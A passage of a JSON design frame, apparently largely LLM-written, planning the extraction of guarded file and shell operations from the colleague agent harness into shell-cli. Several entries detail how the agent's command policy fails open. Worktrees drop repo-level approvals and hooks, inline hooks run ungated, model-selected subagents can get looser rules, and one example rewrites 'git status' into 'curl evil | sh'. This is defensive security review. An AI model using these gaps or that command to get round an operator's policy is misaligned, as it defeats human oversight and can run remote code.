os.popen and os.exec* calls, and zero docker/podman invocations, so those lines of the brief's scan list are vacuously satisfied and should be closed explicitly.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h28", + "text": "Re-running scripts/colleague_inventory.py against commit 28fee290c51fc4310b9fc576981809ad5c3132c6 reproduces 21 spawn sites across 15 modules with a 6/15 project/control split; a different commit may legitimately differ, and the tool reports the SHA mismatch rather than silently comparing across versions.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "Commit the scanner and its pinned SHA in the Milestone 0 slice. When colleague's pinned floor moves, re-run and update PINNED_SHA deliberately \u2014 never let the inventory and the pin drift apart silently." + }, + { + "id": "c38", + "kind": "boundary", + "text": "Ownership is by REPOSITORY, not by person. shell-cli and colleague are separate repositories with separate CI, separate versioning and separate PyPI releases, so a change to colleague lands as a PR in colleague's repository and is reviewed under colleague's own gates \u2014 regardless of whether the same operator or agent authors both. shell-cli's frame covers the shell-cli side only: it proposes colleague's migration via a filed issue and never pushes a commit into colleague's tree from this repo's work. Milestone 1 does not remove colleague's implementation; Milestone 2's cutover is gated on a green PR in colleague's repository.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h24", + "text": "No commit authored under shell-cli's milestones appears in colleague's history without having gone through a PR in colleague's repository and passed colleague's CI. The migration proposal exists as a filed colleague issue before any colleague code changes.", + "status": "rejected", + "instruction": "" + }, + { + "id": "h57", + "text": "No shell-cli MIGRATION OR CUTOVER change lands in colleague before the migration proposal is filed, and any colleague change reaches colleague only through a PR in colleague's own repository under colleague's gates. EXPLICIT EXEMPTION: the independently scoped policy-resolution security fix is not a migration change \u2014 it precedes both the proposal and characterization, and ships on its own security timeline.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "File the migration proposal on colleague via the communicate skill (auto-signs as shell-cli) once Milestone 1 publishes. If the same operator then implements it, do so as a normal PR in colleague's repository under colleague's review gates \u2014 never as a direct push or a cross-repo edit from this checkout." + }, + { + "id": "c39", + "kind": "requirement", + "text": "ALL repository guidance must match the operations-plane issue, not just CLAUDE.md. Every guidance surface in this repo \u2014 CLAUDE.md, AGENTS.colleague.md, README.md, docs/threat-model.md, shell/explain/catalog.py, and the learn/overview/explain Status sections \u2014 must describe the operation plane and must contain no statement the issue supersedes. Two specific classes of staleness are named because they actively misdirect: (1) the proposed 'colleague subclasses the base executor' extraction seam, which issue #1 section 12 forbids in favour of composition, must be removed wherever it appears; (2) the open questions the issue already settles \u2014 view_media travels, the policy evaluator moves while location resolution stays, read-only paths generalise, and shell policy check/explain is first-class \u2014 must not be presented as open anywhere. CLAUDE.md was rewritten this session (49 tests green, markdownlint clean, test_honesty.py passing); the remaining surfaces are unaudited and in scope.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h25", + "text": "A grep across every guidance surface finds no occurrence of the subclass seam and no presentation of a settled question as open; and no guidance surface contradicts issue #1 on the operation model, the two-axis environment, the profiles, or the safety layering.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "Audit AGENTS.colleague.md and README.md against the issue in the same slice that lands this frame's spec \u2014 CLAUDE.md is done, they are not. Re-verify quoted colleague line numbers whenever colleague's pinned commit moves; stale provenance is worse than none." + }, + { + "id": "c40", + "kind": "success_signal", + "text": "Milestone 3 closes when scripts/colleague_inventory.py reports debt_remaining = 0 against colleague's then-current commit, with --check still exiting 0 \u2014 i.e. every one of the 13 debt-tagged modules routes through shell-cli and no new unclassified spawn path has appeared. Progress is a countdown from 13 that CI publishes on every run, not a subjective judgement at the end.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h27", + "text": "debt_remaining is computed from the committed ALLOWLIST by the scanner, so the countdown cannot be asserted in prose or drift from reality \u2014 it is derived from source every CI run.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "Publish debt_remaining in CI output from Milestone 0 onward so the countdown is visible for the whole migration, not reported once at the end." + }, + { + "id": "c41", + "kind": "requirement", + "text": "VERSION SKEW: a bare '>=' floor pin is unsafe for a 0.x package under active construction. colleague pins its one dep as 'agentfront>=0.20.0' and would pin shell-cli the same way, but semver gives 0.x minors no compatibility guarantee \u2014 so 'shell-cli>=0.8' silently admits a breaking 0.9. Combined with shell-cli auto-publishing to PyPI on every merge to main (.github/workflows/publish.yml, paths pyproject.toml and shell/**), colleague can acquire a breaking shell-cli without any colleague review. The compatibility invariant that the six tool schemas stay byte-equivalent 'until an intentional separately-reviewed schema change' is unenforceable across that boundary: shell-cli could change them in a minor and colleague's model-facing schemas would shift without colleague reviewing anything. shell-cli must either pin an upper bound in colleague, reach 1.0 before Milestone 2 cutover, or publish an explicit stability contract naming which surfaces are frozen.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h29", + "text": "colleague's resolved shell-cli version is bounded on both sides, or shell-cli is 1.0+ with a written stability contract, before Milestone 2 removes colleague's own implementation. Verified by installing the highest version the pin permits and running colleague's characterization suite green.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "" + }, + { + "id": "c42", + "kind": "boundary", + "text": "SEQUENCING BLOCKER: colleague's tests/test_zero_deps.py::test_base_dependency_is_exactly_agentfront hard-asserts len(dependencies) == 1 AND dependencies[0].startswith('agentfront'). colleague therefore CANNOT add shell-cli as a base dependency until that test is relaxed in the same PR \u2014 the migration is blocked by colleague's own fail-closed guard, which is correct behaviour but must be sequenced deliberately rather than discovered at cutover. Note also a posture tension worth surfacing explicitly: that test's docstring states 'any second base dependency is a zero-deps-posture breach', while shell-cli's guidance records that the operator decided shell-cli clears the same bar and becomes a sanctioned second base dep. Both statements cannot stand unedited; colleague's docstring needs updating as part of the same change.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h30", + "text": "The colleague PR that adds the shell-cli dependency also updates test_base_dependency_is_exactly_agentfront and its docstring in the same commit, so colleague's suite is never red between the two changes.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "" + }, + { + "id": "c43", + "kind": "requirement", + "text": "ROLLBACK: PyPI is append-only. A published shell-cli release can be yanked but never removed, so 'undo the release' is not a recovery path \u2014 any colleague install that already resolved the bad version keeps it, and yanking only affects future resolution. Because publish is automatic on merge to main and the publish job gates on pytest alone (not the lint gates, and not version-check, which runs only on pull_request), a merge that is green on tests but broken in behaviour reaches PyPI with no human step in between. The recovery path must be forward-only: a fix-forward release plus a documented yank procedure, and colleague's floor must be movable without a colleague code change.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h31", + "text": "A deliberately broken release can be recovered from by publishing a higher fixed version and yanking the bad one, with the procedure written down before Milestone 1 publishes anything colleague depends on \u2014 not improvised during an incident.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "" + }, + { + "id": "c44", + "kind": "requirement", + "text": "MEDIA LIMIT TRAP: view_media's real constraints live in the HANDLER, not in media.py, so 'vendor the ~50-line media slice' silently loses them. tools.py:840 enforces MAX_MEDIA_BYTES = 4 MiB (tools.py:66) BEFORE calling media.validate_attachment, which independently enforces its own MAX_ATTACHMENT_BYTES = 16 MiB (media.py:20). The tighter check wins today, so view_media's effective cap is 4 MiB; vendoring only validate_attachment plus build_part would loosen it 4x to 16 MiB. Separately, tools.py:849 rejects any non-image media type even though media.py's _MEDIA_TYPES includes wav/mp3/ogg/flac \u2014 so images-only is also a handler-level rule absent from the module. Issue #1 section 10 lists 'media size/type limits remain compatible' as a compatibility invariant, and both of these would breach it silently rather than loudly.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h32", + "text": "A parity test asserts a 5 MiB PNG is REFUSED and an audio file is refused with the images-only message, run against both the colleague path and the shell-cli path, so a loosened cap fails rather than passing quietly.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "" + }, + { + "id": "c45", + "kind": "boundary", + "text": "FALSE SAFETY CLAIM IN THE EVIDENCE SURFACE: for a raw host shell operation the changed-paths effect list is not merely sometimes incomplete, it is fundamentally unknowable \u2014 you cannot determine what an arbitrary shell command touched without scanning the filesystem. Issue #1 section 8 already requires a completeness marker, but the marker must therefore DEFAULT to incomplete for process.shell and never be omitted, or evidence reporting 'changed_paths: []' reads as 'nothing changed' when it means 'nothing observed'. colleague has already been bitten by exactly this: tests/test_write_apply_isolation.py:304-329 pins a fix (PR 207 Bug 2) where a self-commit whose edits came only through run_command reported no changed files despite a real commit. An evidence record that implies observability the runner does not have is a false safety claim in structured data rather than in prose, and the honesty regex cannot catch it.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h33", + "text": "A process.shell operation that writes a file it never declared reports effects_complete = false; a test asserts the marker is false for shell operations and that no consumer renders an empty effect list as 'no changes'.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "" + }, + { + "id": "c46", + "kind": "boundary", + "text": "'Secrets are never recorded' (issue #1 section 8) is achievable for DECLARED secrets in the environment/mount policy, but not for secrets that appear in captured stdout/stderr \u2014 a command such as 'env', 'cat .env', or a verbose curl emits them into output the evidence surface is required to capture. The claim must be scoped honestly to what redaction actually covers (declared secret values and known env keys), with output redaction described as best-effort pattern matching, or the evidence surface makes precisely the kind of overclaim this project exists to avoid. This is the same guard-not-a-sandbox failure mode relocated from prose into a data contract.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h34", + "text": "The evidence contract states which secret classes are redacted and which are not, and a test demonstrates that a declared secret is redacted while acknowledging an undeclared secret echoed by a command is not.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "" + }, + { + "id": "c47", + "kind": "requirement", + "text": "CONCURRENCY: colleague serializes worktree administration behind an advisory exclusive fcntl.flock over a per-repo lock file (worktrees.py:138-170, _ADMIN_LOCK_NAME in the runtime state dir). Issue #1 section 5 moves generic worktree add/remove/prune to shell-cli, so that lock must travel with the mechanism \u2014 otherwise parallel colleague children racing worktree add/remove against a shared repo lose their mutual exclusion the moment the operation is 'just' delegated. Three properties of the existing lock must be preserved deliberately, not reimplemented casually: it degrades rather than raising when fcntl is unavailable (non-POSIX) or the lock file cannot be opened, it never blocks a run that has no lock available, and it is explicitly NOT reentrant (teardown_all calls the already-guarded worktree_remove sequentially, never while holding its own lock). A reentrant-by-accident redesign in shell-cli would deadlock colleague's teardown path.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h35", + "text": "Two concurrent shell-cli worktree operations against the same repo serialize, a non-POSIX host degrades to unlocked rather than crashing, and colleague's teardown_all path completes without deadlock under the new implementation.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "" + }, + { + "id": "c48", + "kind": "requirement", + "text": "DUAL-IMPLEMENTATION DRIFT: Milestone 1 explicitly does not remove colleague's implementation and Milestone 2 runs old and new characterization in parallel, so both copies are live and maintained across a multi-milestone window. colleague ships continuously (1.51.0 today, and its history shows active work), so a bug fixed in colleague's copy during that window silently diverges from shell-cli's \u2014 and the characterization suite, which compares the two against the SAME fixtures, would then be comparing a fixed implementation against an unfixed one and reporting a false failure, or worse, both against stale fixtures and reporting a false pass. The window needs an explicit policy: either colleague's six handlers are frozen for the duration, or every change to them is mirrored into shell-cli in the same PR, and the characterization fixtures are regenerated rather than hand-maintained.", + "origin": "llm", + "status": "rejected", + "honesty_conditions": [ + { + "id": "h36", + "text": "A change to colleague's six handlers during the migration window either fails CI or is mirrored automatically; the characterization fixtures are regenerated from colleague at a pinned commit rather than hand-written, so fixture staleness is detectable.", + "status": "rejected", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "" + }, + { + "id": "c49", + "kind": "requirement", + "text": "VERIFIED POLICY BYPASS IN COLLEAGUE TODAY (not a migration risk \u2014 a present-tense bug). Repo-level run_command policy silently fails OPEN on the default 'colleague work' path. Chain: colleague/cli/_commands/work.py:1934 always isolates (isolate=True); _isolate_for_write rewrites task.repo_path to the worktree (work.py:309, worktrees.py:413); loop.py:4096 re-resolves policy by path via load_policy(task.repo_path); and .colleague/approvals.json is gitignored, so 'git worktree add' \u2014 which checks out TRACKED files only \u2014 never materializes it. EMPIRICALLY CONFIRMED with a scratch probe: load_policy on the operator repo returns is_empty=False and denies curl with a reason; load_policy on a worktree of that same repo returns is_empty=True and ALLOWS curl with no reason and no diagnostic anywhere. The same mechanism voids repo-level hooks.json approvals. Two honest limits on this claim: user-level ~/.colleague/approvals.json still resolves normally, so only REPO-level policy is lost; and the probe exercised load_policy directly rather than a full agent run, though every link in the chain is cited. tests/test_policy_all_engines.py drives an in-place tmp_path repo and never exercises the isolation worktree, which is why CI is green.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h37", + "text": "A test authors a repo-level approvals.json with a deny, runs the isolated work path, and asserts the denial still fires \u2014 i.e. policy is resolved from the operator's trusted control context, not from the mutable work root.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "Do NOT publish the complete exploit chain as an ordinary public issue. Use a private GitHub security advisory (or a private fix PR) on colleague, release the fix, then disclose. The fix precedes shell-cli implementation: (1) resolve and snapshot policy/hooks from the operator/source root BEFORE creating the worktree; (2) inject that snapshot into the isolated loop and into subagents; (3) distinguish absent, malformed, and expected-but-unresolved; (4) add isolated-work and nested-subagent regression tests. shell-cli's architecture then makes the fix structural rather than a patch \u2014 issue #1 section 3 already requires exactly this snapshotting." + }, + { + "id": "c50", + "kind": "requirement", + "text": "FAIL-OPEN SILENCE is the amplifier that turns the worktree resolution gap into a bypass. colleague/policy.py:229-230 returns Verdict(True) unconditionally when a section is absent, which is correct back-compat semantics, but nothing distinguishes 'the operator declared no policy' from 'the operator declared a policy that failed to load'. Policy.is_empty() exists (policy.py:177) and nothing warns on it. Issue #1 section 7 already requires that absent policy and malformed configured policy stay distinct states; this finding extends that to a third state \u2014 DECLARED BUT UNRESOLVED \u2014 which is the one that actually bit. shell-cli must emit a diagnostic when a policy file was expected and none resolved, and must never let that condition read as allow-all without saying so in evidence.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h38", + "text": "An environment configured to expect a policy that resolves to nothing produces a visible diagnostic and marks the operation's evidence as running under no policy \u2014 it never silently reports an ordinary allowed verdict.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "" + }, + { + "id": "c51", + "kind": "boundary", + "text": "SCOPE HONESTY ON THE POLICY GATE: run_command is one of six process-spawning tools and the only one policy gates (loop.py:901-902 returns early for every other tool). run_tests, culture, devague, memory, and subagent/subagents all spawn processes with model-controlled arguments behind their own per-tool allowlists \u2014 colleague/culture.py:10-11 states this outright: 'These tools are UNGATED: they execute like run_command does.' None uses shell=True, so this is an expectation gap rather than arbitrary execution, but an operator writing run_command allow git very reasonably believes they have constrained execution when five other subprocess paths remain open. shell-cli inherits this: normalizing everything into Operation makes the gap FIXABLE for the first time, but the policy's documented scope must state plainly which operation kinds it evaluates rather than letting 'operation policy' imply all of them.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h39", + "text": "The policy surface documents exactly which operation kinds it gates, and 'shell policy explain' reports the ungated kinds as explicitly ungated rather than omitting them.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "" + }, + { + "id": "c52", + "kind": "requirement", + "text": "SUBAGENT POLICY IS RE-RESOLVED, NEVER INHERITED. run_subagent calls eng.work(child_task, child_config) (subagents.py:398) with a config carrying no policy field (subagents.py:354-357), so each child loads its own Policy by path. Two consequences: batch children get a NESTED worktree (subagents.py:532-536), so the untracked-file gap recurs one level deeper; and because the model chooses the child's model (subagents.py:221-244) and per-model overlays replace whole sections (policy.py:394), a model-switched child can land on a MORE PERMISSIVE run_command section than its parent. The overlay is still operator-authored on disk, so this is a sharp edge rather than a bypass \u2014 but the selection is model-driven, not operator-driven. No test covers subagent policy inheritance at all. shell-cli should thread the resolved Policy into child environments rather than letting each re-resolve.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h40", + "text": "A child environment's effective policy is derived from the parent's snapshot, and a test asserts a child cannot obtain a broader run_command allowance than its parent by selecting a different model.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "" + }, + { + "id": "c53", + "kind": "boundary", + "text": "The engine boundary is clean today but structurally unenforced. Exactly two engines exist (mock, vllm-openai, registered via the colleague.engines entry-point group), both route through loop.run and therefore the single _run_tool_call, and tests assert engine modules never import colleague.policy. However the gate lives in the LOOP, not in the executor, so any third-party wheel registering under colleague.engines \u2014 which registry.load will load (registry.py:50-59) \u2014 can call ToolExecutor.execute directly and skip the gate entirely. shell-cli's lifecycle pipeline should place the policy evaluation INSIDE the operation dispatch rather than in a caller, so the gate cannot be routed around by a new caller.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h41", + "text": "A caller that invokes shell-cli's executor directly, bypassing any loop, still gets the policy verdict \u2014 verified by calling the dispatch entry point with no orchestration layer present and observing a denial.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "" + }, + { + "id": "c54", + "kind": "requirement", + "text": "HOOKS ARE AN UNGATED ARBITRARY-EXEC SURFACE that fires on every tool call. hooks.py:405-407 runs shell=True; hooks are subject only to check_file, never to check_run_command; and hook_approval_verdict returns Verdict(True) when no token resolves to an existing repo file (hooks.py:310-316), so a purely INLINE hook command is fully ungated even with a hooks section present. The fail-open is documented at hooks.py:296-297 as a design decision, but its interaction with the worktree gap is not: hooks.json is untracked too, so in an isolated run the hooks approval section is invisible by the same mechanism. A pre_tool hook fires before even read_file, so this is the most direct path from 'policy says only git' to arbitrary code running. ONE THING TO PRESERVE: loop.py:953-955 lets a hook rewrite ARGUMENTS ONLY \u2014 call.name passes unchanged to execute() at :966 \u2014 and the policy gate deliberately runs after the rewrite. That ordering is correct and must survive extraction.", + "origin": "llm", + "status": "rejected", + "honesty_conditions": [ + { + "id": "h42", + "text": "Hook execution is expressed as an operation with a declared profile and is evaluated by the same policy pipeline as any other process operation, so an inline hook command is gated rather than exempt by virtue of referencing no repo file.", + "status": "rejected", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "" + }, + { + "id": "c55", + "kind": "boundary", + "text": "Process constraints bind every slice: the version-check CI job fails any PR whose pyproject.toml version matches main (including docs-only and CI-only PRs), and four lint gates plus 'teken cli doctor . --strict' run on every PR, while every merge to main publishes to PyPI. Each vertical slice is therefore a full PR carrying a version bump. This is a fact about release mechanics only \u2014 it must NOT be used to argue for larger PRs. Review size is determined by what can be reviewed coherently; versioning overhead is not a reason to batch unrelated work.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h55", + "text": "Every merged PR carries a version bump and passes all lint gates; no slice is batched with unrelated work solely to amortise release overhead.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "" + }, + { + "id": "c56", + "kind": "boundary", + "text": "The policy gate must receive the REWRITTEN arguments, not the original call. colleague/loop.py:962 re-wraps as ToolCall(call.id, call.name, arguments) precisely so a pre_tool hook rewrite is still gated; the in-code comment at :957-963 states this as the ordering contract. The bypass a naive extraction reintroduces runs in this direction: an ALLOWED original (say 'git status') is rewritten by a hook into a DENIED command (say 'curl evil | sh'), and a gate that inspects the ORIGINAL sees an allowed token, passes it, and the denied command executes. The reverse direction \u2014 denied original rewritten to an allowed shape \u2014 merely over-blocks and is not a security failure. This is the single most security-relevant line in the extraction.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h56", + "text": "A test proves the direction: a pre_tool hook rewriting an ALLOWED command into a DENIED one is caught by the gate, because the gate inspects the rewritten arguments rather than the original call.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "" + }, + { + "id": "c57", + "kind": "assumption", + "text": "Extraction is far cleaner than CLAUDE.md implies: five of the six handlers (_read_file:813, _write_file:860, _edit_file:878, _list_dir:947, _run_command:957) reference ZERO colleague modules and zero colleague config constants. view_media:827 is the sole coupled handler, and its only impurity is colleague.media. MAX_SUBAGENT_FANOUT and SubResult are untouched by the six. On the output cap: _DEFAULT_MAX_OUTPUT_CHARS is only a constructor default (tools.py:675), but it must NOT be silently inlined as a magic 25000. Make 25000 shell-cli's DOCUMENTED default while colleague explicitly passes its configured value, so parity is guaranteed by an explicit argument rather than by two constants coincidentally agreeing \u2014 and so colleague can change its own cap without a shell-cli release.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [], + "hard_questions": [], + "links": [], + "instruction": "" + }, + { + "id": "c58", + "kind": "before_state", + "text": "The file-and-shell surface lives inside colleague, welded to one host: 21 process-spawn literals across 15 modules (scanner-verified at colleague 28fee290c51fc4310b9fc576981809ad5c3132c6 \u2014 an earlier hand count of 16 was wrong), a ToolExecutor mixing six generic primitives with colleague-specific tools, and a policy evaluator coupled to colleague's config-dir layout. Every other harness that needs the same primitives reimplements them \u2014 and reimplements the safety model with them, usually worse.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h43", + "text": "The 21-spawn / 15-module inventory is reproducible by scripts/colleague_inventory.py at the pinned commit, and the figure in every guidance surface is derived from the scanner rather than transcribed.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "Start Milestone 0 by committing the scanner and its pinned SHA so drift in colleague is detectable mechanically rather than re-surveyed by hand." + }, + { + "id": "c59", + "kind": "requirement", + "text": "DUAL-IMPLEMENTATION DRIFT: Milestone 1 does not remove colleague's implementation and Milestone 2 runs old and new characterization in parallel, so both copies are live while colleague ships continuously (1.51.0 today). A bug fixed in one copy silently diverges from the other, and the characterization suite then compares a fixed implementation against an unfixed one \u2014 a false failure, or against stale fixtures, a false pass. NOTE: 'mirror the change in the same PR' is IMPOSSIBLE across repository boundaries \u2014 a single PR cannot span shell-cli and colleague. The workable mechanisms are: coordinated paired PRs landed together, or a source-hash gate where colleague's copy of each handler is hashed and CI fails when the hash moves without a matching shell-cli change. Above all, MINIMIZE THE WINDOW: the shorter the period both implementations are live, the smaller this whole class of risk.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h44", + "text": "A change to either copy of the six handlers during the migration window is detected mechanically \u2014 by a source-hash gate or a paired-PR check \u2014 rather than relying on a human remembering, and the characterization fixtures are regenerated from colleague at a pinned commit rather than hand-maintained.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "Treat the dual-implementation window as a cost to be minimized, not a phase to be managed: sequence Milestones 1 and 2 back-to-back and do not start Milestone 1 until the cutover in colleague can follow promptly." + }, + { + "id": "c60", + "kind": "requirement", + "text": "HOOKS NEED A DELIBERATE HOOK-SPECIFIC POLICY \u2014 this is a STANDALONE finding, explicitly NOT part of migration parity. Today hooks are trusted operator configuration that lacks runtime command gating: hooks.py:405-407 runs shell=True on every tool call, hooks are subject only to check_file and never to check_run_command, and hook_approval_verdict returns Verdict(True) when no token resolves to an existing repo file (hooks.py:310-316), so an INLINE hook command is ungated even with a hooks section present. hooks.json is untracked, so the isolation worktree voids the hooks approval section by the same mechanism as c49. The correct remedy is NOT to silently apply run_command's allow/deny rules to hooks \u2014 that would retroactively gate operator-authored configuration under rules written for model-authored commands, changing behaviour operators rely on. Introduce a hook-specific policy surface deliberately, as its own reviewed change with its own migration story. ONE THING TO PRESERVE REGARDLESS: loop.py:953-955 lets a hook rewrite ARGUMENTS ONLY \u2014 call.name passes unchanged to execute() at :966 \u2014 and the policy gate runs after the rewrite.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h45", + "text": "Hook gating ships as its own deliberate change with operator-visible migration notes, and no shell-cli milestone silently subjects existing hooks to run_command's allow/deny lists. The arguments-only rewrite contract and the rewrite-then-gate ordering hold in the extracted implementation.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "Keep this out of the parity milestones. File it as a separate colleague/shell-cli design question once the operation pipeline exists, so hook policy is designed rather than inherited by accident." + }, + { + "id": "c61", + "kind": "announcement", + "text": "shell-cli is the guarded local operations plane for AI agents: every work-affecting local operation an agent takes \u2014 read, write, edit, list, media, shell, tests, lint, hooks, git/worktree, trusted CLI invocation \u2014 is normalized into one Operation, evaluated against an operator policy snapshot, executed in an explicitly selected environment (host or container), and returned with structured evidence. shell-cli owns NORMALIZATION, PREVIEW, OPERATION-POLICY AUTHORIZATION, EXECUTION, and EVIDENCE. Colleague decides why, when, and which \u2014 all cognitive planning remains Colleague's. (Issue #1 section 1 words shell-cli's role as 'plan, authorize, execute, observe, record'; 'plan' there means planning the OPERATION \u2014 normalize and preview it \u2014 not planning the work, and this wording makes that unambiguous rather than contradicting the issue.)", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h46", + "text": "One operation engine genuinely backs both surfaces: a test drives the same Operation through the library API and through the CLI and asserts identical OperationResult status, policy verdict, and effects. If the CLI can reach an execution path the library cannot, the announcement is false.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "Build the lifecycle pipeline first (Operation -> policy -> runner -> result+evidence) with HostRunner as the only backend, then express the six colleague primitives as operation kinds on top of it. Do not build the six primitives first and retrofit a pipeline." + }, + { + "id": "c62", + "kind": "decision", + "text": "SEQUENCING: pause shell-cli implementation briefly and fix colleague's policy resolution FIRST. c49 is a live fail-open in 1.51.0, independently verified by an external reviewer against the pinned commit, and it does not wait on any milestone. Fixing it first also de-risks the migration, because the fix (snapshot policy from the operator/source root, inject into isolated loops and subagents) is the same architecture shell-cli must implement anyway \u2014 so colleague's patch becomes the reference behaviour the characterization fixtures capture, rather than something shell-cli has to retrofit parity against afterwards.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h47", + "text": "colleague's policy-resolution fix is released, and the characterization fixtures for Milestone 0 are captured from the FIXED colleague, so shell-cli never encodes the buggy behaviour as parity.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "" + }, + { + "id": "c63", + "kind": "decision", + "text": "STDOUT/STDERR RESOLVED (closes q1): OperationResult ALWAYS captures stdout and stderr separately. The colleague compatibility adapter renders the legacy concatenated 'stdout + stderr' string for the duration of the parity milestone, so model-visible behaviour is unchanged. Exposing them distinctly to the model is a future, separately reviewed colleague schema/output change \u2014 not part of parity. This gives shell-cli the correct contract without breaking model behaviour.", + "origin": "user", + "status": "confirmed", + "honesty_conditions": [], + "hard_questions": [], + "links": [], + "instruction": "" + }, + { + "id": "c64", + "kind": "requirement", + "text": "PUBLISHING PREVENTION, not just recovery. The publish job currently gates on pytest alone. Before Milestone 1 publishes anything colleague depends on, publishing must depend on the COMPLETE test/lint/honesty suite; the wheel must be built and installed into a clean environment; and a CLI/import smoke test must run against that INSTALLED wheel rather than the source tree. colleague's dependency must be bounded \u2014 'shell-cli>=0.8,<0.9' style \u2014 until shell-cli reaches 1.0. Fix-forward and yanking remain the recovery path, but prevention belongs in the contract too.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h59", + "text": "A release cannot reach PyPI without the full suite green, a clean-environment wheel install, and a smoke test executed against the installed wheel; and colleague's pin has an upper bound until shell-cli is 1.0.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "" + }, + { + "id": "c65", + "kind": "requirement", + "text": "HOSTRUNNER TIMEOUT AND CANCELLATION SEMANTICS must be explicit, not incidental. Start commands in their own PROCESS GROUP. On timeout or cancellation: terminate the group, wait briefly, then kill. Record the termination signal and the escalation path in evidence, so a killed operation is distinguishable from one that exited on its own. Document the platforms where orphan prevention is incomplete rather than implying it is universal \u2014 this is the same guard-not-a-sandbox honesty discipline applied to process lifecycle.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h60", + "text": "A command that ignores SIGTERM is escalated to kill and its evidence records both the signal and the escalation; a command spawning children has the whole group terminated; and platforms with incomplete orphan prevention are named in documentation.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "" + }, + { + "id": "c66", + "kind": "requirement", + "text": "VERSIONED CONTRACTS: Operation, OperationResult, and persisted evidence each carry a schema_version. Because 'shell operation show' implies durable retrieval, the plan must decide WHERE evidence is stored, its RETENTION policy, and what happens WHEN RECORDING FAILS. Evidence failure must never turn an executed action into an unrecorded success \u2014 the result marks degraded evidence honestly (issue #1 section 8). Without a schema_version, a consumer reading an evidence record written by a different shell-cli version cannot tell whether absent fields mean 'not applicable' or 'not yet recorded'.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h61", + "text": "A consumer can read schema_version off any Operation, OperationResult, or persisted evidence record; retention and storage location are documented; and a forced evidence-write failure yields a result explicitly marked as degraded rather than a silent success.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "" + }, + { + "id": "c67", + "kind": "requirement", + "text": "The urgent colleague security fix must stay SMALL and must not become a behavioural redesign. The smallest safe fix resolves policy and hooks from the operator/source root, carries that source-root identity through nested worktrees and children, and PRESERVES today's per-model overlay semantics unchanged. The separate hardening \u2014 defining a child's policy as a restriction of its parent, child_effective = parent_cap INTERSECT source_root_child_model_policy, with deny winning and allowlists intersecting \u2014 is valuable but introduces new policy-composition semantics and must ship as its own separately 